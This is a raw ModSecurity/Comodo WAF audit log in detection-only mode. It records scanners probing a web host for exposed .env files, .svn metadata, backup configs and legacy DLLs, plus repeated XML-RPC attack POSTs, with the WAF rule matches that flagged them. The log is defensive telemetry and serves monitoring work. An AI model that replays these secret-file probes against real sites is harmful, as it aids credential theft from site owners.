Apache Engine-Mode: "DETECTION_ONLY" --e3a83f21-Z-- --1e8aa955-A-- [16/Jun/2025:06:49:44.151451 +0530] aE9xLzZ3uHeEW3BYvDO4pwAAAAA 185.177.72.210 46236 127.0.0.1 7081 --1e8aa955-B-- GET /Trace.axd HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1e8aa955-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f786beaecf05f98837f8f93d2c80a7df1750036784; expires=Mon, 16 Jun 2025 02:19:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1e8aa955-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".axd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".axd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/Trace.axd"] [unique_id "aE9xLzZ3uHeEW3BYvDO4pwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036783500163 651360 (- - -) Stopwatch2: 1750036783500163 651360; combined=1694, p1=384, p2=1226, p3=0, p4=0, p5=84, sr=100, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1e8aa955-Z-- --7af3303c-A-- [16/Jun/2025:06:49:49.795855 +0530] aE9xNYkQyF8-ounHsxsESQAAAA8 185.177.72.210 46432 127.0.0.1 7081 --7af3303c-B-- GET /config.json.BAK HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7af3303c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1b0173371f87367bb973d594c95fa2e61750036789; expires=Mon, 16 Jun 2025 02:19:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7af3303c-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".json.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".json.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/config.json.BAK"] [unique_id "aE9xNYkQyF8-ounHsxsESQAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036789136253 659685 (- - -) Stopwatch2: 1750036789136253 659685; combined=2048, p1=394, p2=1552, p3=0, p4=0, p5=101, sr=124, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7af3303c-Z-- --3deca902-A-- [16/Jun/2025:06:50:12.402952 +0530] aE9xSw9THibLN0xLxET2UAAAAAk 185.177.72.210 45996 127.0.0.1 7081 --3deca902-B-- GET /stylesheets/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3deca902-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2fc63da27971962d14691d665a7e8f7c1750036812; expires=Mon, 16 Jun 2025 02:20:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3deca902-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/stylesheets/.env"] [unique_id "aE9xSw9THibLN0xLxET2UAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036811730801 672224 (- - -) Stopwatch2: 1750036811730801 672224; combined=2126, p1=367, p2=1672, p3=0, p4=0, p5=87, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3deca902-Z-- --51fa9d2d-A-- [16/Jun/2025:06:50:28.503431 +0530] aE9xW7oFnONBt7jRcByTSAAAAA4 128.199.112.101 45736 127.0.0.1 7081 --51fa9d2d-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --51fa9d2d-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --51fa9d2d-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9xW7oFnONBt7jRcByTSAAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036827558634 944855 (- - -) Stopwatch2: 1750036827558634 944855; combined=2310, p1=435, p2=1425, p3=44, p4=66, p5=211, sr=116, sw=129, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --51fa9d2d-Z-- --bf77a208-A-- [16/Jun/2025:06:50:44.595337 +0530] aE9xa_v_9qNKLXJRkuZc7QAAAAs 185.177.72.210 52828 127.0.0.1 7081 --bf77a208-B-- GET /:5601/examples/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bf77a208-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=80970ad86ccb249e7bfe97dd685c938e1750036844; expires=Mon, 16 Jun 2025 02:20:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bf77a208-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/examples/.env"] [unique_id "aE9xa_v_9qNKLXJRkuZc7QAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036843867739 727700 (- - -) Stopwatch2: 1750036843867739 727700; combined=2821, p1=598, p2=2097, p3=0, p4=0, p5=126, sr=137, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bf77a208-Z-- --c8b1db2b-A-- [16/Jun/2025:06:50:49.082608 +0530] aE9xcOhCUAahT1nBjTYMwwAAAAM 185.177.72.210 52982 127.0.0.1 7081 --c8b1db2b-B-- GET /_vti_bin/_vti_aut/fp30reg.dll HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c8b1db2b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5eb792ec4a9d1955d2746472116984671750036848; expires=Mon, 16 Jun 2025 02:20:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c8b1db2b-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dll"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dll"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/_vti_bin/_vti_aut/fp30reg.dll"] [unique_id "aE9xcOhCUAahT1nBjTYMwwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036848340207 742466 (- - -) Stopwatch2: 1750036848340207 742466; combined=2485, p1=471, p2=1847, p3=0, p4=0, p5=166, sr=142, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c8b1db2b-Z-- --6e0f7013-A-- [16/Jun/2025:06:50:50.162862 +0530] aE9xcfvF1ly0gx5reNmAXAAAAAE 185.177.72.210 37114 127.0.0.1 7081 --6e0f7013-B-- GET /:8888/.env.1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6e0f7013-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b0ecde085fbe41e9315e3276977ca74a1750036850; expires=Mon, 16 Jun 2025 02:20:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6e0f7013-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.env.1"] [unique_id "aE9xcfvF1ly0gx5reNmAXAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036849422719 740229 (- - -) Stopwatch2: 1750036849422719 740229; combined=1839, p1=350, p2=1380, p3=0, p4=0, p5=109, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6e0f7013-Z-- --9ff10b27-A-- [16/Jun/2025:06:50:56.653392 +0530] aE9xd_v_9qNKLXJRkuZc8gAAAAs 185.177.72.210 37380 127.0.0.1 7081 --9ff10b27-B-- GET /:8888/app/configurationtion/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9ff10b27-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3205c338f6ef104f028e6f1339f9499e1750036856; expires=Mon, 16 Jun 2025 02:20:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9ff10b27-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/app/configurationtion/.env"] [unique_id "aE9xd_v_9qNKLXJRkuZc8gAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036855982214 671254 (- - -) Stopwatch2: 1750036855982214 671254; combined=1916, p1=371, p2=1439, p3=0, p4=0, p5=105, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9ff10b27-Z-- --8555327a-A-- [16/Jun/2025:06:51:10.984587 +0530] aE9xhjZ3uHeEW3BYvDO4zgAAAAA 185.177.72.210 38728 127.0.0.1 7081 --8555327a-B-- GET /bak/.svn/entries HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8555327a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7c58d2ebd37c6a61880296cfd5399b5e1750036870; expires=Mon, 16 Jun 2025 02:21:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8555327a-H-- Message: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/bak/.svn/entries"] [unique_id "aE9xhjZ3uHeEW3BYvDO4zgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036870295323 689363 (- - -) Stopwatch2: 1750036870295323 689363; combined=1856, p1=377, p2=1381, p3=0, p4=0, p5=97, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8555327a-Z-- --fa476d16-A-- [16/Jun/2025:06:51:12.008983 +0530] aE9xh516HYQp4eDf7R1bowAAAAI 185.177.72.210 38782 127.0.0.1 7081 --fa476d16-B-- GET /settings/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fa476d16-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e9dc35a3784397de5e71c40a3dd05bfa1750036871; expires=Mon, 16 Jun 2025 02:21:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fa476d16-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/settings/.env.production"] [unique_id "aE9xh516HYQp4eDf7R1bowAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036871322783 686265 (- - -) Stopwatch2: 1750036871322783 686265; combined=2024, p1=368, p2=1544, p3=0, p4=0, p5=111, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fa476d16-Z-- --3d4cd87d-A-- [16/Jun/2025:06:51:28.621366 +0530] aE9xlzZ3uHeEW3BYvDO42QAAAAA 128.199.112.101 54080 127.0.0.1 7081 --3d4cd87d-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 499 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --3d4cd87d-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --3d4cd87d-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9xlzZ3uHeEW3BYvDO42QAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036887657566 963856 (- - -) Stopwatch2: 1750036887657566 963856; combined=2603, p1=419, p2=1762, p3=48, p4=73, p5=184, sr=121, sw=117, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3d4cd87d-Z-- --a63d7c1a-A-- [16/Jun/2025:06:51:28.977028 +0530] aE9xmLoFnONBt7jRcByTYwAAAA4 185.177.72.210 54104 127.0.0.1 7081 --a63d7c1a-B-- GET /config.php.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a63d7c1a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=55857d9e6fc61e30988637b8ac6f98321750036888; expires=Mon, 16 Jun 2025 02:21:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a63d7c1a-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/config.php.bak"] [unique_id "aE9xmLoFnONBt7jRcByTYwAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036888277277 699814 (- - -) Stopwatch2: 1750036888277277 699814; combined=2438, p1=405, p2=1932, p3=0, p4=0, p5=101, sr=109, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a63d7c1a-Z-- --37776e6a-A-- [16/Jun/2025:06:51:39.611137 +0530] aE9xouMjvy_LHXlMeRARPAAAAAU 185.177.72.210 58780 127.0.0.1 7081 --37776e6a-B-- GET /site/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --37776e6a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8276c80b289bc32f2e9797fff55c48a41750036899; expires=Mon, 16 Jun 2025 02:21:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --37776e6a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/site/.env"] [unique_id "aE9xouMjvy_LHXlMeRARPAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036898881906 729326 (- - -) Stopwatch2: 1750036898881906 729326; combined=1758, p1=381, p2=1258, p3=0, p4=0, p5=118, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --37776e6a-Z-- --e67b0f12-A-- [16/Jun/2025:06:51:51.367526 +0530] aE9xrvv_9qNKLXJRkuZdDQAAAAs 185.177.72.210 33944 127.0.0.1 7081 --e67b0f12-B-- GET /:8080/local/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 